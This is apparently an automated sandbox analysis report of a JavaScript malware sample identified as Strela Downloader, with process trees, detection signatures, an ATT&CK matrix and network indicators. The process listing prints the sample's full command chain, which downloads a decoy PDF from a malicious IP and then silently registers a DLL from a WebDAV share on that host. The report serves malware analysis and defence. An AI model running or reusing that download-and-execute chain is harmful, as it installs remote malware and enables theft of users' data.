Windows
Analysis Report
212032324439912626.js
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
- wscript.exe (PID: 5348 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\21203 2324439912 626.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 1420 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell.exe -C ommand "In voke-WebRe quest -Out File C:\Us ers\user\A ppData\Loc al\Temp\in voice.pdf http://193 .143.1.205 /invoice.p hp"&&start C:\Users\ user\AppDa ta\Local\T emp\invoic e.pdf&&cmd /c net us e \\193.14 3.1.205@88 88\davwwwr oot\&&cmd /c regsvr3 2 /s \\193 .143.1.205 @8888\davw wwroot\179 234192554. dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2484 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - conhost.exe (PID: 3760 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1740 cmdline:
powershell .exe -Comm and "Invok e-WebReque st -OutFil e C:\Users \user\AppD ata\Local\ Temp\invoi ce.pdf htt p://193.14 3.1.205/in voice.php" MD5: 04029E121A0CFA5991749937DD22A1D9) - Acrobat.exe (PID: 3736 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\Acrobat .exe" "C:\ Users\user \AppData\L ocal\Temp\ invoice.pd f" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C) - AcroCEF.exe (PID: 7236 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ba ckgroundco lor=167772 15 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - AcroCEF.exe (PID: 7428 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --log-seve rity=disab le --user- agent-prod uct="Reade rServices/ 23.6.20320 Chrome/10 5.0.0.0" - -lang=en-U S --user-d ata-dir="C :\Users\us er\AppData \Local\CEF \User Data " --log-fi le="C:\Pro gram Files \Adobe\Acr obat DC\Ac robat\acro cef_1\debu g.log" --m ojo-platfo rm-channel -handle=21 16 --field -trial-han dle=1628,i ,125164306 9629168655 8,43733435 0767235624 6,131072 - -disable-f eatures=Ba ckForwardC ache,Calcu lateNative WinOcclusi on,WinUseB rowserSpel lChecker / prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
- svchost.exe (PID: 7300 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_StrelaDownloader | Yara detected Strela Downloader | Joe Security |
System Summary |
---|
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): |
Source: | Author: Florian Roth (Nextron Systems), Hieu Tran: |
Source: | Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: frack113: |
Source: | Author: vburov: |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
HIPS / PFW / Operating System Protection Evasion |
---|
Source: | Author: Joe Security: |
Click to jump to signature section
AV Detection |
---|
Source: | Virustotal: | Perma Link |
Software Vulnerabilities |
---|
Source: | Argument value : | Go to definition | ||
Source: | Argument value : | Go to definition |
Source: | Child: |
Source: | IP Address: |
Source: | ASN Name: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Spam, unwanted Advertisements and Ransom Demands |
---|
Source: | File source: |
System Summary |
---|
Source: | COM Object queried: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | Initial sample: |
Source: | Classification label: |
Source: | File created: | Jump to behavior |
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: |
Source: | File created: | Jump to behavior |
Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
Source: | Virustotal: |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | Window detected: |
Source: | File opened: | Jump to behavior |
Data Obfuscation |
---|
Source: | Anti Malware Scan Interface: |
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Malware Analysis System Evasion |
---|
Source: | COM call: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Window found: | Jump to behavior |
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior |
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior |
Source: | File opened: | Jump to behavior |
Source: | Last function: | ||
Source: | Last function: | ||
Source: | Last function: |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Process information queried: | Jump to behavior |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | WMI Queries: | ||
Source: | WMI Queries: |
Stealing of Sensitive Information |
---|
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | 32 Scripting | Valid Accounts | 1 Windows Management Instrumentation | 32 Scripting | 11 Process Injection | 11 Masquerading | OS Credential Dumping | 1 Network Share Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | 1 Command and Scripting Interpreter | 1 DLL Side-Loading | 1 DLL Side-Loading | 131 Virtualization/Sandbox Evasion | LSASS Memory | 21 Security Software Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | 1 Native API | Logon Script (Windows) | Logon Script (Windows) | 11 Process Injection | Security Account Manager | 1 Process Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | Steganography | Automated Exfiltration | Data Encrypted for Impact |
Employee Names | Virtual Private Server | Local Accounts | 1 Exploitation for Client Execution | Login Hook | Login Hook | 1 Obfuscated Files or Information | NTDS | 131 Virtualization/Sandbox Evasion | Distributed Component Object Model | Input Capture | Protocol Impersonation | Traffic Duplication | Data Destruction |
Gather Victim Network Information | Server | Cloud Accounts | 2 PowerShell | Network Logon Script | Network Logon Script | 1 DLL Side-Loading | LSA Secrets | 1 Application Window Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | Steganography | Cached Domain Credentials | 1 File and Directory Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | Compile After Delivery | DCSync | 122 System Information Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
10% | Virustotal | Browse | ||
8% | ReversingLabs | Script-JS.Trojan.StrelaStealer |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe |
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
false | high | |||
false | high | |||
false |
| unknown | ||
false | high | |||
false | high | |||
false | high | |||
false | high | |||
false |
| unknown | ||
false | high | |||
false | high | |||
false | high | |||
false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|---|
193.143.1.205 | unknown | unknown | 57271 | BITWEB-ASRU | true |
IP |
---|
127.0.0.1 |
Joe Sandbox version: | 42.0.0 Malachite |
Analysis ID: | 1588571 |
Start date and time: | 2025-01-11 02:31:22 +01:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 4m 56s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 16 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | 212032324439912626.js |
Detection: | MAL |
Classification: | mal100.rans.spyw.expl.evad.winJS@28/59@0/2 |
EGA Information: | Failed |
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
- Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 23.46.156.25, 23.46.156.16, 23.46.156.53, 192.168.2.4, 20.109.210.53, 104.78.188.188, 13.95.31.18, 4.175.87.197, 13.107.246.45
- Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
- Not all processes where analyzed, report is missing behavior information
- Report size exceeded maximum capacity and may have missing behavior information.
- Report size getting too big, too many NtCreateFile calls found.
- Report size getting too big, too many NtCreateKey calls found.
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
Time | Type | Description |
---|---|---|
20:32:24 | API Interceptor | |
20:32:28 | API Interceptor | |
20:32:28 | API Interceptor | |
20:32:41 | API Interceptor |
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
193.143.1.205 | Get hash | malicious | Strela Downloader | Browse |
| |
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
BITWEB-ASRU | Get hash | malicious | Strela Downloader | Browse |
| |
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
|
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1310720 |
Entropy (8bit): | 1.3073386159881304 |
Encrypted: | false |
SSDEEP: | 3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrO:KooCEYhgYEL0In |
MD5: | 7CEA9D553B2E7668C72F1633F76226DF |
SHA1: | F673CB8F0896A46B000755A3E9D22619508C7D69 |
SHA-256: | 4CF04BBE3B93D674C06793370D0DF2DCCFEB93DF1CC58B67E5F3221A0C9A18F2 |
SHA-512: | 7EC990F7920F222E2003A797C5158816AB4057DA092E70B2E495C6F58DD8A543A9E33375AF2C66F3C354CBE563ED936921ECE4896F6DD4BA6DA848AA2CE42289 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1310720 |
Entropy (8bit): | 0.4221373979180244 |
Encrypted: | false |
SSDEEP: | 1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO |
MD5: | 55ACABE2725937ACA1E5EBC3FBE664F7 |
SHA1: | A4DDEFEE8A78D93CF7659E8BF0FCAF375D6885C4 |
